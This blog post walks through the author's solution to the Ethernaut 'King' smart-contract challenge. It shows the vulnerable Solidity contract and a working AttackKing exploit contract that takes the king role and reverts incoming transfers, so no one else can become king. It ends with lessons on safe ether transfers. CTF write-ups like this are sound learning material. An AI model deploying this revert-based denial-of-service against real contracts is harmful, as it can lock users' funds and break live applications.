# Ethernaut 7: King **Published by:** [0xbanky](https://paragraph.com/@banky/) **Published on:** 2022-08-18 **URL:** https://paragraph.com/@banky/ethernaut-7-king ## Content My solution to the 7th ethernaut challenge. This was so far the most difficult challenge for me https://ethernaut.openzeppelin.com/level/0x43BA674B4fbb8B157b7441C2187bCdD2cdF84FD5InvestigationWe are given a fun little ponzi scheme contract. The contract stores a prize in ether which can be gained by playing the game. To get the prize, simply send more ether to the contract and the new ether amount becomes the new prize. The contract will then set your address as the new king.// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King { address payable king; uint public prize; address payable public owner; constructor() public payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address payable) { return king; } } The goal is to gain the king status and make it so that nobody else can become the new king. First, to test things out, I sent some ether to the contract and this indeed made my wallet address the new king. However, on submitting the contract, the owner steals back the king status. So I needed something more drastic.SolutionAfter giving this some thought, I found that the key here is to take advantage of the fact that whenever someone new tries to become the new king, the contract has to send all of its ether to the current king. This would be fine if the funds were being sent to a regular wallet, but if I make a contract the current king, then the EVM will be forced to run code in my contract when the funds are sent. To demonstrate this, I created an AttackKing contract that looks like thiscontract AttackKing { address payable kingInstanceAddress; King kingInstance; constructor(address payable kingAddress) { kingInstanceAddress = kingAddress; kingInstance = King(kingAddress); } receive () external payable { // Revert when anyone else tries to become king if (msg.sender == kingInstanceAddress) { revert("Not letting you take my kingship"); } } function attack () payable public { uint currentPrize = kingInstance.prize(); require(msg.value > currentPrize, "Not enough ether sent"); (bool success, ) = kingInstanceAddress.call{value: msg.value}(""); require(success, "Transfer failed."); } } I deployed this contract and called the attack function with some ether. This then transfers ether to the deployed King contract, thus taking ownership of it. Verifying this:await contract._king() // "0x051E33DB81D1a59b4a411510D6E826A4B1C2Bb07" <- My contract! When the owner of King tries to take the king status back, the contract tries to send ether to my exploit contract which reverts the entire call stack and the transaction fails 😏.What I learnedWe can send ether with a transaction directly in the Remix IDE by filling in the value field. This was a bit annoying because it doesn’t allow decimal placesWhen writing contracts, we need to take special care with ether transfers because transferring ether can mean running untrusted codeThe current best way to send ether is using the call method. ie.kingInstanceAddress.call{value: msg.value}("") Source: https://ethereum.stackexchange.com/questions/19341/address-send-vs-address-transfer-best-practice-usage ## Publication Information - [0xbanky](https://paragraph.com/@banky/): Publication homepage - [All Posts](https://paragraph.com/@banky/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@banky): Subscribe to updates - [Twitter](https://twitter.com/0xbanky): Follow on Twitter